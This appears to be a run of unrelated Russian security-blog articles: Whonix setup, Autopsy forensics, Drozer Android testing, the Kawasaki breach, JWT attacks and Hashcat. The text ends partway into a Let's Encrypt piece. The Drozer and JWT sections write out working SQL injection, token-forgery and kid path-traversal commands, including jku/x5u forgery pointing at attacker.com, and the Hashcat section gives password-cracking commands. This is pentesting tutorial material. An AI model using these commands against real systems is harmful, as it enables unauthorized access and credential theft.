Часто используемые приложения предварительно установлены и настроены, а при установке дополнительных приложений или персонализации рабочего стола пользователь не подвергается никакой опасности.

Whonix находится в стадии активной разработки и является единственной операционной системой, предназначенной для работы внутри виртуальной машины в сочетании с Tor.

Более подробно о Whonix и других ОС для безопасности.

Содержание:

• Что нужно для работы с Whonix?
• Что такое Whonix Gateway и Whonix Workstation?
• Установка и настройка
• Рекомендации по использованию

Что нужно для работы с Whonix?

1. VirtualBox
2. Непосредственно Whonix:
   
   • Whonix Gateway
   • Whonix Workstation

Сейчас оба идут в одном файле .ova

Что такое Whonix Gateway и Whonix Workstation?

• Whonix Gateway выступает в качестве шлюза во всемирную сеть, направляя весь трафик через сеть Tor.
• Whonix Workstation это место, где мы работаем как пользователь. Находится в полностью изолированной сети.

ПРИМЕЧАНИЕ: Помните, что нужно запустить Gateway и Workstation

Установка и настройка

Загружаем и устанавливаем VirtualBox.

Переходим к файлу

Выбираем образ Whonix Gateway и жмём Continue.

Ничего не меняем и просто жмём Import.

Соглашаемся.

Ждём, пока Whonix-Gateway.ova будет импортирован.

Повторяем все действия и для Whonix-Workstation.ova.

В VirtualBox откройте Whonix Gateway и Whonix Workstation. Это можно сделать, выбрав их и нажав кнопку запуска (с зеленой стрелкой) или дважды щелкнув по ним.

ПРИМЕЧАНИЕ. Всегда запускайте сначала Gateway, а затем Workstation.

После загрузки Whonix Gateway попросит подключиться к сети Tor. Это легко сделать с помощью Wizard. Нажимаем Next в обоих случаях и дожидаемся подключения.

Когда Gateway подключится к Tor, будет сделан поиск обновлений и появится следующее сообщение.

Открываем терминал (первый значок рядом с Приложениями в нижнем левом углу) и вводим:

sudo apt-get update && sudo apt-get upgrade

При появлении запроса вводим пароль (по умолчанию changeme).

Теперь в окне Workstation, скорее всего, тоже началась проверка обновлений. Если нет, переходим в Application (нижний левый угол)> System > WhonixCheck.

Открываем терминал и вводим

sudo apt-get-update-plus dist-upgrade

Тоже самое, что и с Gateway.

Теперь можно изменить пароль по умолчанию.

Для этого в терминале вводим:

• sudo su
• вводим пароль по умолчанию, если потребует (пароль по умолчанию changeme)
• вводим passwd
• вводим новый пароль администратора, который нужно ввести дважны
• вводим passwd user
• введим свой пароль пользователя дважды

Рекомендации по использованию

• Необходимо регулярно делать проверку системы и вовремя обновлять как Gateway, так и Workstation.
• Никогда не разворачиваем браузер на весь экран. Если нужно увеличить размер окна, то делаем это вручную.
• Каждую сессию в браузере начинаем с проверки IP адреса.

Autopsy это программа с открытым исходным кодом, которая используется для выполнения криминалистических операций с жесткими дисками и смартфонами.

Этот инструмент применяется:

• правоохранительными органами
• местной полицией
• корпоративными отделами безопасности

Основное предназначение программы расследование улик киберпреступлений, но также Autopsy может использоваться для восстановления удаленной информации.

Содержание:

• Создание нового проекта
• Источники данных
• Просмотр содержимого
  
  • Типы файлов:
    
    • По расширению
    • Документы
    • Исполняемые файлы
  • По типам MIME
• Удаленные файлы
• Файлы по размеру
• Полученные результаты
  
  • Извлеченный контент
    
    • Метаданные
    • Корзина
    • Загрузки из интернета
  • Ключевые слова
• Timeline
• Discovery
• Изображения/Видео
• Тегирование
• Создание отчетов

Первым делом скачаем Autopsy.

Создание нового проекта

Запускаем Autopsy в Windows и нажимаем "New Case".

Вводим название проекта, а также выбираем базовый каталог, чтобы все данные сохранялись в одном месте.

При необходимости можно добавить дополнительную информацию.

Источники данных

Теперь добавим тип источника данных. Есть разные типы на выбор:

• Disk Image or VM file: сюда входит файл образа, который может быть точной копией:
  
  • жесткого диска
  • карты памяти
  • виртуальной машины
• Local Disk: этот параметр включает такие устройства, как:
  
  • жесткий диск
  • USB накопители
  • карты памяти и т. д.
• Logical Files: образы любых локальных каталогов или файлов.
• Unallocated Space Image File: файлы, запускаемые с помощью модуля Ingest.
• Autopsy Logical Imager Results: источник данных от сканера логических разделов дисков.
• XRY Text Export: источник данных из экспорта текстовых файлов из XRY.

Теперь добавим источник данных. В данном случае выберем заранее подготовленный образ.

Затем будет предложено настроить модуль Ingest.

Содержимое модуля Ingest приведено ниже:

Информация об источнике данных отображает основные метаданные. Его подробный анализ отображается внизу. Его можно извлекать один за другим.

Просмотр содержимого

Типы файлов

Типы файлов можно классифицировать по форме расширения файла или типа MIME.

Autopsy предоставляет информацию о расширениях файлов, которые обычно используются ОС, тогда как типы MIME используются браузером, чтобы решить, какие данные представлять. Также отображаются удаленные файлы.

Типы файлов можно разделить на категории в зависимости от:

• расширений
• документов
• исполняемых файлов

По расширению

В категории файлов по расширению можно заметить, что они были разделены на типы файлов, такие как:

• Изображения
• Видео
• Аудио
• Архивы
• Базы данных и т. д.

Давайте исследуем изображения, которые были восстановлены.

Мы также можем просмотреть миниатюры изображений.

При просмотре миниатюры можно изучить метаданные файла и подробную информацию об изображении.

Вдобавок здесь есть возможность посмотреть несколько восстановленных аудиофайлов, которые можно извлечь из системы и прослушать с помощью различных программ.

Документы

Документы делятся на 5 типов:

• HTML
• Office
• PDF
• обычный текст
• форматированный текст

Изучив параметр документов, можно увидеть все имеющиеся HTML-документы. Наиболее важные можно открыть и посмотреть.

Изучив вариант PDF, можно найти важный PDF-файл в образе диска.

Точно так же можно просматривать различные текстовые файлы.

Удаленные текстовые файлы можно восстановить.

Исполняемые файлы

Эти типы файлов делятся на:

• .exe
• .dll
• .bat
• .cmd
• .com

По типам MIME

Здесь есть четыре подкатегории:

• Приложения
• Аудио файлы
• Изображения
• Текстовые файлы

Они разделены на несколько разделов и типов файлов.

Удаленные файлы

Deleted Files: отображает информацию об удаленном файле, который затем можно восстановить.

Файлы по размеру

MB Size Files: здесь файлы классифицируются в зависимости от их размера, начиная с 50 МБ. Это позволяет исследователю искать большие файлы.

Полученные результаты

В этом разделе мы получаем информацию об извлеченном контенте.

Извлеченный контент

Extracted Content: весь извлеченный контент дополнительно детализируется. В нашем случае мы нашли:

• метаданные
• корзину
• загрузки из Интернета

Давайте рассмотрим каждый из них подробнее.

Metadata: здесь мы можем просмотреть всю информацию о файлах, такие как:

• дату создания
• дату изменения
• владельца файла и т. д.

Recycle Bin: в этой категории находятся файлы, помещенные в корзину.

Web Downloads: здесь можно увидеть файлы, которые были загружены из Интернета.

Ключевые слова

Keyword Hits: в этом случае любые конкретные ключевые слова можно найти в образе диска. Поиск может осуществляться по:

• точному совпадению
• электронным письмам
• регулярным выражениям и т. д.

Вы можете просмотреть доступные адреса электронной почты.

Вы можете выбрать экспорт в формат CSV.

Timeline

С помощью данной функции можно получить информацию об использовании системы в формах:

• статистической
• подробной
• списком

Discovery

Эта опция позволяет находить носители с помощью различных фильтров, которые присутствуют в образе диска.

По выбранным параметрам можно получить желаемый результат.

Изображения/Видео

Этот вариант предназначен для поиска изображений и видео с помощью различных параметров и нескольких категорий.

Тегирование

Тегирование используется для:

• создания закладок
• отслеживания
• пометки любого примечательного элемента и т. д.

Теперь, когда видны параметры тегов, становится ясно, что файлы были помечены по различным категориям.

Создание отчетов

После завершения расследования эксперт может составить отчет в различных форматах по своему усмотрению.

Отметьте источник данных, отчет по которому необходимо создать.

Здесь мы выбрали создание отчета в формате HTML.

Наш криминалистический отчет готов!

Drozer обязательный инструмент в арсенале каждого пентестера. С его помощью можно быстро получить информацию о приложении и его слабых местах.

Drozer предустановлен в Kali Linux и других ОС для белого хакинга.

Возможности Drozer:

1. Получение информации о пакете
2. Определение поверхности атаки
3. Запуск активностей
4. Чтение от поставщиков содержимого
5. Взаимодействие со службами
6. Дополнительные опции

1. Получение информации о пакете

Мы можем получить пакеты, присутствующие на подключенных устройствах, а также информацию о любом установленном пакете.

To get list of all packages present in the device.dz> run app.package.listTo search for a package name from the above listdz> run app.package.list -f <your_string>To get basic info about any selected packagedz> run app.package.info -a <package_name>

2. Определение поверхности атаки

Это та часть, с которой мы начинаем исследовать уязвимости. В первую очередь проверим количество экспортированных:

• Активностей
• Поставщиков содержимого
• Служб

To get list of exported Activities, Broadcast Receivers, Content Providers and Services:dz> run app.package.attacksurface <package_name>  3 activities exported  0 broadcast receivers exported  2 content providers exported  2 services exported is debuggable

3. Запуск активностей

Теперь мы попытаемся запустить экспортированные активности и попробуем обойти аутентификацию. Начинаем с запуска всех экспортируемых активностей.

To get a list activities from a packagedz> run app.activity.info -a <package_name>To launch any selected activitydz> run app.activity.start --component <package_name> <activity_name>

4. Чтение от поставщиков контента

Далее мы попытаемся собрать больше информации о поставщиках контента, экспортируемых приложением.

To get info about the content providers:dz> run app.provider.info -a <package_name>Example Result:Package: com.mwr.example.sieveAuthority: com.mwr.example.sieve.DBContentProviderRead Permission: nullWrite Permission: nullContent Provider: com.mwr.example.sieve.DBContentProviderMultiprocess Allowed: TrueGrant Uri Permissions: FalsePath Permissions:Path: /KeysType: PATTERN_LITERALRead Permission: com.mwr.example.sieve.READ_KEYSWrite Permission: com.mwr.example.sieve.WRITE_KEYS

Вышеупомянутый поставщик содержимого называется DBContentProvider (Database Backed Content Provider). Угадать URI контента очень сложно, однако drozer предоставляет модуль сканера, который объединяет различные способы угадывать путь и определять список доступных URI контента. Мы можем получить URI контента с помощью:

To get the content URIs for the selected packagedz> run scanner.provider.finduris -a <your_package>Example Result:Scanning com.mwr.example.sieve...Unable to Query content://com.mwr.example.sieve.DBContentProvider/  ...Unable to Querycontent://com.mwr.example.sieve.DBContentProvider/KeysAccessible content URIs:  content://com.mwr.example.sieve.DBContentProvider/Keys/  content://com.mwr.example.sieve.DBContentProvider/Passwords  content://com.mwr.example.sieve.DBContentProvider/Passwords/

Теперь мы можем использовать другие модули drozer для извлечения информации из этих URI контента или даже для изменений в базе данных.

To retrieve or modify data using the above content URIs:dz> run app.provider.querycontent://com.mwr.example.sieve.DBContentProvider/Password/ --vertical   _id: 1 service: Email username: incognitoguy50 password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w== (Base64-encoded) email: incognitoguy50@gmail.com

Платформа Android поощряет использование баз данных SQLite, которые могут быть уязвимы для SQL-инъекции. Мы можем протестировать SQL-инъекцию, манипулируя полями проекции и выбора.

To attack using SQL injection:dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"unrecognized token: "' FROM Passwords" (code 1): , while compiling: SELECT 'FROM Passwordsdz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'" unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')

Android возвращает подробное сообщение об ошибке, показывающее весь запрос, который мы пытались выполнить. Его можно использовать для вывода списка всех таблиц в базе данных.

To attack using SQL injection:dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"| type  | name      | tbl_name         | rootpage | sql           || table | android_metadata | android_metadata| 3 |CREATE TABLE... || table | Passwords        | Passwords       | 4 |CREATE TABLE ...|| table | Key              | Key             | 5 |CREATE TABLE ...|

Поставщик содержимого может предоставить доступ к базовой файловой системе. Это позволяет приложениям обмениваться файлами, где песочница Android могла бы предотвратить это.

To read the files in the file systemdz> run app.provider.read <URI>To download content from the filedz> run app.provider.download <URI>To check for injection vulnerabilitiesdz> run scanner.provider.injection -a <package_name>To check for directory traversal vulnerabilitiesdz> run scanner.provider.traversal -a <package_name>

5. Взаимодействие со службами

Для взаимодействия с экспортированными службами мы можем попросить Drozer предоставить более подробную информацию, используя:

To get details about exported servicesdz> run app.service.info -a <package_name>

6. Дополнительные опции

Для получения дополнительной информации существует несколько замечательных команд:

• shell.start запустить интерактивную оболочку Linux на устройстве.

  
  

• tools.file.upload / tools.file.download Разрешить копирование файлов на / с устройства Android.

  
  

• tools.setup.busybox / tools.setup.minimalsu Установить на устройство полезные двоичные файлы.

  
  

Kawasaki Heavy Industries, Ltd. японская публичная транснациональная корпорация, известная в первую очередь как производитель:

• Мотоциклов
• Двигателей
• Подвижного состава
• Судов
• Оборудования:
  
  • Тяжелого
  • Оборонного
  • Аэрокосмического

Компания заявила, что она подвергалась несанкционированному доступу извне. В результате тщательного расследования компания обнаружила, что некоторая информация из зарубежных офисов могла быть передана третьим лицам.

11 июня 2020 года внутренний системный аудит выявил несанкционированное подключение к серверу в Японии из офиса компании в Таиланде. В тот же день связь между зарубежным офисом и Японией была полностью прекращена, а происшествие расценили как случай несанкционированного доступа говорится в официальном заявлении компании.

IT-персонал Kawasaki обнаружил соединение с сервером в Японии из зарубежного офиса в Таиланде, которого не должно было возникнуть.

Впоследствии были обнаружены другие несанкционированные подключения к серверам в Японии с других зарубежных офисов в:

• Индонезии
• Филиппинах
• США

Компания улучшила операции по мониторингу доступа из зарубежных офисов и ужесточила ограничения, чтобы заблокировать несанкционированные подключения.

Выполненные действия

Подтвердив подозрительный несанкционированный доступ из зарубежных офисов, компания добавила дополнительные ограничения и внедрила улучшенные ограничения на сетевое соединение для всех за рубежом.

Компания Kawasaki Heavy Industries провела тщательную оценку уровня безопасности проверив:

• около 26 000 терминалов в сети Японии и Таиланда
• около 3 000 терминалов в сети зарубежных офисов (за исключением Таиланда), где могли произойти нарушения.

Последствия

Меры информационной безопасности были главным приоритетом для компании, поскольку она обрабатывает важную конфиденциальную информацию, такую как:

• личная информация
• информация, относящаяся к социальной инфраструктуре

Тем не менее, компания сообщает, что несанкционированный доступ был осуществлен с использованием передовых технологий, которые не оставили следов.

Расследование подтвердило возможность того, что информация неизвестного содержания могла быть передана третьему лицу. Однако в настоящее время мы не обнаружили никаких доказательств утечки информации сторонним лицам, заявили в компании.

Будущие действия

Компания обещает усилить мониторинг и контроль доступа в сетях связи между зарубежными и внутренними офисами.

Кроме того, Группа кибербезопасности, созданная 1 ноября 2020 года, усилит меры безопасности, анализируя самые последние методы несанкционированного доступа, чтобы избежать повторного подобных инцидентов в будущем.

Содержание:

• Что такое JWT?
  
  • Заголовок
  • Полезная нагрузка
  • Подпись
  • Что такое SECRET_KEY?
• Атаки на JWT:
  
  • Базовые атаки:
    
    1. Нет алгоритма
    2. Изменяем алгоритм с RS256 на HS256
    3. Без проверки подписи
    4. Взлом секретного ключа
    5. Использование произвольных файлов для проверки
  • Продвинутые атаки:
    
    1. SQL-инъекция
    2. Параметр поддельного заголовка
    3. Внедрение заголовка ответа HTTP
    4. Прочие уязвимости

Что такое JSON Web Token?

Веб-токен JSON обычно используется для авторизации в клиент-серверных приложениях. JWT состоит из трех элементов:

• Заголовок
• Полезная нагрузка
• Подпись

Заголовок

Это объект JSON, который представляет собой метаданные токена. Чаще всего состоит из двух полей:

• Тип токена
• Алгоритм хэширования

Официальный сайт предлагает два алгоритма хэширования:

• HS256
• RS256

Но на самом деле любой алгоритм с приватным ключом может быть использован.

Полезная нагрузка

Это также объект JSON, который используется для хранения такой информации о пользователе, как:

• идентификатор
• имя пользователя
• роль
• время генерации токена и т.д.

Подпись

Это наиболее важная часть, поскольку она определяет целостность токена путем подписания заголовка и полезной нагрузки в кодировке Base64-URL, разделенных точкой (.) с секретным ключом. Например, чтобы сгенерировать токен с помощью алгоритма HS256, псевдокод будет таким:

// Use Base64-URL algorithm for encoding and concatenate with a dotdata = (base64urlEncode(header) + '.' + base64urlEncode(payload))// Use HS256 algorithm with "SECRET_KEY" string as a secretsignature = HMACSHA256(data , SECRET_KEY)// Complete tokenJWT = data + "." + base64UrlEncode(signature)

Что такое SECRET_KEY?

Как правило, JWT может быть сгенерирован с помощью двух механизмов шифрования, таких как:

• Симметричное
• Ассиметричное

Симметричное шифрование:

Этот механизм требует единственного ключа для создания и проверки JWT.

Например, пользователь "Vasya" сгенерировал JWT с h1dd1n_m1ss1g3 в качестве секретного ключа. Любой человек, знающий этот ключ, может с его помощью изменить токен. JWT при этом останется действительным.

Самый распространенный алгоритм для этого типа HS256.

Асимметричное шифрование:

Этот механизм требует открытого ключа для проверки и закрытого ключа для подписи.

Например, если "Vasya" использовал это шифрование, то он единственный, кто может создать новый токен, используя закрытый ключ, тогда как "Petya" может только проверить токен с помощью открытого ключа, но не может его изменить.

Наиболее распространенный алгоритм для этого типа RS256.

Атаки на JWT

Чтобы подделать токен, необходимо иметь правильные ключи (например, секретный ключ для HS256, открытый и закрытый ключи для RS256), но если конфигурация JWT не реализована правильно, то есть много способов обойти элементы управления, которые позволяют изменить токен и получить несанкционированный доступ.

Базовые атаки

Для выполнения всех этих атак нам понадобиться JWT_Tool

1. Нет алгоритма

Если приложению не удается проверить значение заголовка alg, то мы можем изменить его значение на none, и таким образом оно исключает необходимость действительной подписи для проверки. Например:

// Modified Header of JWT after changing the "alg" parameter{  "alg": "none",  "typ": "JWT"}

Команда:

python3 jwt_tool.py <JWT> -X a

Здесь jwt_tool создал различные полезные нагрузки для использования этой уязвимости и обхода всех ограничений, пропустив раздел Подпись.

2. Изменяем алгоритм с RS256 на HS256

Как было сказано выше, алгоритму RS256 нужен закрытый ключ для подделки данных и соответствующий открытый ключ для проверки подлинности подписи. Но если мы сможем изменить алгоритм подписи с RS256 на HS256, мы заставим приложение использовать только один ключ для выполнения обеих задач, что является нормальным поведением алгоритма HMAC.

Таким образом рабочий процесс будет преобразован из асимметричного в симметричное шифрование. Теперь мы можем подписывать новые токены тем же открытым ключом.

Команда:

python3 jwt_tool.py <JWT> -S hs256 -k public.pem

В данном случае мы сначала загружаем открытый ключ (public.pem) из приложения, а затем подписываем токен с помощью алгоритма HS256, используя этот ключ. Таким образом, мы можем создавать новые токены и вставлять полезную нагрузку в любое существующее утверждение.

3. Без проверки подписи

Иногда при фаззинге данных в разделе заголовка и полезной нагрузки приложение не возвращает ошибку. Это значит, что подпись не проверяется после того, как она была подписана сервером авторизации. Таким образом, мы можем вставить любую полезную нагрузку в заявку, а токен всегда будет действительным.

Команда:

python3 jwt_tool.py <JWT> -I -pc name -pv admin

Здесь часть подписи не проверяется, а значит можно смягчить утверждение имени в разделе полезной нагрузки, сделав себя администратором.

4. Взлом секретного ключа

Мы можем получить доступ к файлу SECRET_KEY с помощью уязвимостей, таких как

• LFI
• XXE
• SSRF

Если это невозможно, то все равно можно провести другие атаки, чтобы проверить, использует ли токен какую-либо слабую секретную строку для шифрования.

Для этой цели можно использовать расширение BurpSuite под названием JWT Heartbreaker.

Такое раскрытие поставит под угрозу весь механизм безопасности, поскольку теперь мы можем генерировать произвольные токены с секретным ключом.

Но чтобы убедиться, что полученная нами строка является действительным ключом SECRET_KEY или нет? Мы можем использовать функцию Crack в jwt_tool.

Команда:

python3 jwt_tool.py <JWT> -C -d secrets.txt // Use -p flag for a string

5. Использование произвольных файлов для проверки

Key ID (kid) это необязательный заголовок, имеющий строковый тип, который используется для обозначения конкретного ключа, присутствующего в файловой системе или базе данных, а затем использования его содержимого для проверки подписи. Этот параметр полезен, если приложение имеет несколько ключей для подписи токенов, но может быть опасным, если он является инъекционным, поскольку в этом случае злоумышленник может указать на конкретный файл, содержимое которого предсказуемо.

Например, /dev/null называется нулевым файлом устройства и всегда ничего не возвращает, поэтому он отлично работает в системах на основе Unix.

Команда:

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

В качестве альтернативы можно использовать любой файл, присутствующий в корневом веб-каталоге, например, CSS или JS. Также можно использовать его содержимое для проверки подписи.

Другое решение проблемы:

python3 jwt_tool.py -I -hc kid -hv "путь / к / файлу" -S hs256 -p "Содержимое файла"

Продвинутые атаки:

1. SQL-инъекция

Эта уязвимость может возникнуть, если любой параметр, который извлекает какое-либо значение из базы данных, не очищается должным образом. Благодаря чему можно решать CTF задачи.

Например, если приложение использует алгоритм RS256, но открытый ключ виден в заявлении pk в разделе Payload, тогда можно преобразовать алгоритм подписи в HS256 и создавать новые токены.

Команда для подсчета количества столбцов:

python3 jwt_tool.py <JWT> -I -pc name -pv "imparable' ORDER BY 1--" -S hs256 -k public.pem// Increment the value by 1 until an error will occur

2. Параметр поддельного заголовка

JSON Web Key Set (JWKS) это набор открытых ключей, которые используются для проверки токена. Вот пример:

Этот файл хранится на доверенном сервере, приложение может указывать на этот файл через параметры заголовка:

• jku
• x5u

Но мы можем управлять URL-адресом с помощью таких уловок, как:

• открытый редирект
• добавление символа @ после имени хоста и т. д.

Затем мы можем перенаправить Приложение на наш вредоносный сервер вместо доверенного сервера и генерировать новые токены, так как мы контролируем как открытые, так и закрытые ключи.

JSON Set URL (jku):

Этот параметр указывает на набор открытых ключей в формате JSON (атрибуты n и e в JWKS), а jwt_tool автоматически создает файл JWKS с именем jwttool_custom_jwks.json для этой атаки при первом запуске инструмента после установки.

Команда:

python3 jwt_tool.py <JWT> -X s -ju "https://attacker.com/jwttool_custom_jwks.json"

X.509 URL (x5u):

Этот параметр указывает на сертификат открытого ключа X.509 или цепочку сертификатов (атрибут x5c в JWKS). Вы можете сгенерировать этот сертификат с соответствующим закрытым ключом следующим образом:

openssl req -newkey rsa:2048 -nodes -keyout private.pem -x509 -days 365 -out attacker.crt -subj "/C=AU/L=Brisbane/O=CompanyName/CN=pentester"

Здесь с использованием OpenSSL сертификат был создан в attacker.crt, который теперь может быть встроен в файл JWKS с атрибутом x5c, а его эксплуатация может осуществляться следующим образом:

python3 jwt_tool.py <JWT> -S rs256 -pr private.pem -I -hc x5u -hv "https://attacker.com/custom_x5u.json"

Встроенные открытые ключи:

Если сервер встраивает открытые ключи непосредственно в токен с помощью параметров jwk (JSON Web Key) или x5c (цепочка сертификатов X.509), попробуйте заменить их своими собственными открытыми ключами и подписать токен соответствующим закрытым ключом.

3. Внедрение заголовка ответа HTTP

Предположим, что если приложение ограничивает любой управляемый URL-адрес в параметрах jku или x5c, тогда мы можем использовать уязвимость внедрения заголовка ответа, чтобы добавить встроенный JWKS в ответ HTTP и заставить приложение использовать это для проверки подписи.

4. Прочие уязвимости

Веб-токены JSON это еще одна форма пользовательского ввода, все параметры в которой должны быть очищены должным образом, иначе это может привести к уязвимостям, таким как:

• LFI
• RCE и другим.

Но это не означает, что приложение по-прежнему безопасно, ведь, если злоумышленник не может подделать JWT, он попытается украсть их с помощью неправильной конфигурации:

• XSS
• CSRF
• CORS и т. д.

Удачных пентестов!

Hashcat это самая быстрая и передовая утилита для восстановления паролей, поддерживающая пять уникальных режимов атаки для более чем трёхсот алгоритмов хеширования.

Hashcat поддерживает:

• Процессоры:
  
  • CPU
  • GPU
• Другие аппаратные ускорители в:
  
  • Linux
  • Windows
  • macOS

Также hashcat имеет средства, которые помогают включить распределенный взлом паролей.

HashCat поддерживает следующие режимы атаки:

• Брутфорс
• Комбинаторная атака
• Гибридная атака
• Атака по Маске
• Перестановочная атака
• Атака на основе правил
• Табличная атака
• Атака с переключением регистра

С помощью данной команды можно проверить все доступные параметры:

hashcat h

Сегодня мы будем использовать режим атаки по словарю.

Содержание:

• MD5-хеши
• MD5-хеши с солью
• Хеш-суммы MD5Crypt
• HMAC-SHA1 key
  
  • Хеш-суммы SHA-1
• Хеши SHA2384
• Хеши SHA3512
• NTLM-хеши
• CRC32-хеши

MD5-хеши

Убедитесь, что входные хеши имеют совместимый с hashcat формат.

Пример:

8743b52063cd84097a65d1633f5c74f5 >hash.txt

Команда:

hashcat -m 0 -a 0 hash.txt passwordlist.txt

Где:

• -m 0: режим хеширования MD5
• -a 0: режим атаки по словарю
• hash.txt: текстовый файл, содержащий хэш в совместимом формате
• passwordlist.txt: файл словаря, содержащий пароли в виде простого текста

Взломанный хеш:

8743b52063cd84097a65d1633f5c74f5 = hashcat

MD5-хеши с солью

Убедитесь, что входные хеши имеют совместимый с hashcat формат.

Пример:

md5($pass.$salt):
01dfae6e5d4d90d9892622325959afbe:7050461> hash.txt

Команда:

hashcat -m10 -a0 hash.txt passwordlist.txt

Где:

• -m 10: режим хеширования MD5 с солью
• -a 0: режим атаки по словарю
• hash.txt: текстовый файл, содержащий хеш в совместимом формате
• passwordlist.txt: файл словаря, содержащий пароли в виде простого текста

Взломанный хеш:

01dfae6e5d4d90d9892622325959afbe:7050461 = hashcat

Хеш-суммы MD5Crypt

Убедитесь, что входные хеши имеют совместимый с hashcat формат.

Пример:

md5crypt, MD5 (Unix), Cisco-IOS $ 1 $ (MD5)
$ 1 $ 28772684 $ iEwNOgGugqO9.bIz5sk8k /> hash.txt

Команда:

hashcat -m 500 -a 0 hash.txt passwordlist.txt

Где:

• -m 500: режим хеширования MD5Crypt Digests
• -a 0: режим атаки по словарю
• hash.txt: текстовый файл, содержащий хэш в совместимом формате
• passwordlist.txt: файл словаря, содержащий пароли в виде простого текста

Взломанный хеш:

1$28772684$iEwNOgGugqO9.bIz5sk8k/ = hashcat

HMAC-SHA1 key

Убедитесь, что входные хеши имеют совместимый с hashcat формат.

Пример:

HMAC-SHA1 (key = $ pass)
c898896f3f70f61bc3fb19bef222aa860e5ea717:1234> hash.txt

Команда:

hashcat -m150 -a 0 hash.txt passwordlist.txt

Где:

• -m 150: режим хеширования ключа HMAC-SHA1
• -a 0: режим атаки по словарю
• hash.txt: текстовый файл, содержащий хеш в совместимом формате
• passwordlist.txt: файл словаря, содержащий пароли в виде простого текста

Взломанный хеш:

c898896f3f70f61bc3fb19bef222aa860e5ea717:1234 = hashcat

Хеш-суммы SHA-1

Убедитесь, что входные хеши имеют совместимый с hashcat формат.

Пример:

b89eaac7e61417341b710b727768294d0e6a277b>hash.txt

Команда:

hashcat -m100 -a 0 hash.txt passwordlist.txt

Где:

• -m 100: режим хеширования SHA1
• -a 0: режим атаки по словарю
• hash.txt: текстовый файл, содержащий хэш в совместимом формате
• passwordlist.txt: файл словаря, содержащий пароли в виде простого текста

Взломанный хеш:

b89eaac7e61417341b710b727768294d0e6a277b = hashcat

Хеши SHA2384

Убедитесь, что входные хеши имеют совместимый с hashcat формат.

Пример:

SHA2-384 07371af1ca1fca7c6941d2399f3610f1e392c56c6d73fddffe38f18c430a2817028dae1ef09ac683b62148a2c8757f42> hash.txt

Команда:

hashcat -m 10800 -a 0 hash.txt passwordlist.txt

Где:

• -m 10800: SHA-2 режим хеширования
• -a 0: режим атаки по словарю
• hash.txt: текстовый файл, содержащий хеш в совместимом формате
• passwordlist.txt: файл словаря, содержащий пароли в виде простого текста

Взломанный хеш:

07371af1ca1fca7c6941d2399f3610f1e392c56c6d73fddffe38f18c430a2817028dae1ef09ac683b62148a2c8757f42 = hashcat

Хеши SHA3512

Убедитесь, что входные хеши имеют совместимый с hashcat формат.

Пример:

SHA3512 7c2dc1d743735d4e069f3bda85b1b7e9172033dfdd8cd599ca094ef8570f3930c3f2c0b7afc8d6152ce4eaad6057a2ff22e71934b3a3dd0fb55a7fc84a53144e >hash.txt

Команда:

hashcat -m 17600 -a 0 hash.txt passwordlist.txt

Где:

• -m 17600: режим хеширования SHA3512
• -a 0: режим атаки по словарю
• hash.txt: текстовый файл, содержащий хеш в совместимом формате
• passwordlist.txt: файл словаря, содержащий пароли в виде простого текста

Взломанный хеш:

7c2dc1d743735d4e069f3bda85b1b7e9172033dfdd8cd599ca094ef8570f3930c3f2c0b7afc8d6152ce4eaad6057a2ff22e71934b3a3dd0fb55a7fc84a53144e = hashcat

NTLM-хеши

Убедитесь, что входные хеши имеют совместимый с hashcat формат.

Пример:

b4b9b02e6f09a9bd760f388b67351e2b> hash.txt

Команда:

hashcat -m 1000 -a 0 hash.txt passwordlist.txt

Где:

• -m 1000: режим хеширования NTLM
• -a 0: режим атаки по словарю
• hash.txt: текстовый файл, содержащий хэш в совместимом формате
• passwordlist.txt: файл словаря, содержащий пароли в виде простого текста

Взломанный хеш:

b4b9b02e6f09a9bd760f388b67351e2b = hashcat

CRC32-хеши

Убедитесь, что входные хеши имеют совместимый с hashcat формат.

Пример:

c762de4a: 00000000> hash.txt

Команда:

hashcat -m 11500 -a 0 hash.txt passwordlist.txt

Где:

• -m 11500: режим хеширования CRC32
• -a 0: режим атаки по словарю
• hash.txt: текстовый файл, содержащий хэш в совместимом формате
• passwordlist.txt: файл словаря, содержащий пароли в виде простого текста

Взломанный хеш:

c762de4a:00000000 = hashcat

Совсем недавно веб-сайты с Let's Encrypt (225 миллионов доменов) рисковали остаться без трафика с устройств на старых версиях Android (34% от всех девайсов). По заявлениям Let's Encrypt они нашли выход из ситуации и IdenTrust выпустил для них новый трехлетний перекрестный знак для корня ISRG X1 со своего корневого центра сертификации DST X3. Но действительно ли владельцам сайтов с Let's Encrypt можно расслабиться?

Истекающий срок действия корневого сертификата Let's Encrypt означает, что каждое третье устройство Android (более 34% устройств используют версии 7.1.1 и ниже) будет заблокировано с миллионов сайтов, защищенных системой Let's Encrypt.

Данная проблема результат того, что Let's Encrypt больше не использует перекрестную подпись со сторонним корневым сертификатом. Из-за этого посетители веб-сайтов на старых версиях Android будут заблокированы от доступа к сайтам, защищенным с помощью Let's Encrypt.

Это определенно не то, что пользователи хотят видеть при посещении веб-сайта. Аналогично и владельцы сайтов не горят желанием, чтобы пользователи видели какие-либо предупреждения, которые могут посеять сомнения по поводу безопасности их страниц.

Что именно привело к такому повороту событий? Кого могут коснутся изменение? Что могут сделать владельцы сайтов, чтобы минимизировать ущерб?

Предыстория проблемы

Корни проблемы исходят из 2015 года, когда компания Lets Encrypt была основана группой Internet Security Research Group (ISRG) и их партнерами. Поскольку могут потребоваться годы на то, чтобы все ОС и браузеры начали доверять их собственному сертификату, они подписали свои сертификаты перекрестно с доверенным корнем существующего ЦС (IdenTrust и их сертификатом DST Root X3), что является типичным поведением для новых центров сертификации.

Это позволило Lets Encrypt немедленно начать выпуск сертификатов, которым можно было бы доверять в Интернете. Но перенесемся в наши дни: IdenTrust DST Root X3 приближается к дате истечения срока действия 30 сентября 2021 года.

Let's Encrypt попыталась подготовиться к истечению срока действия, выпустив собственный корневой сертификат ISRG Root X1. К сожалению, у него пока нет того всеобъемлющего доверия, которое было у их корня IdenTrust, поэтому пользователи на некоторых старых платформах будут заблокированы от доступа к любому веб-сайту, который использует сертификат Let's Encrypt SSL/TLS.

Кто именно пострадает?

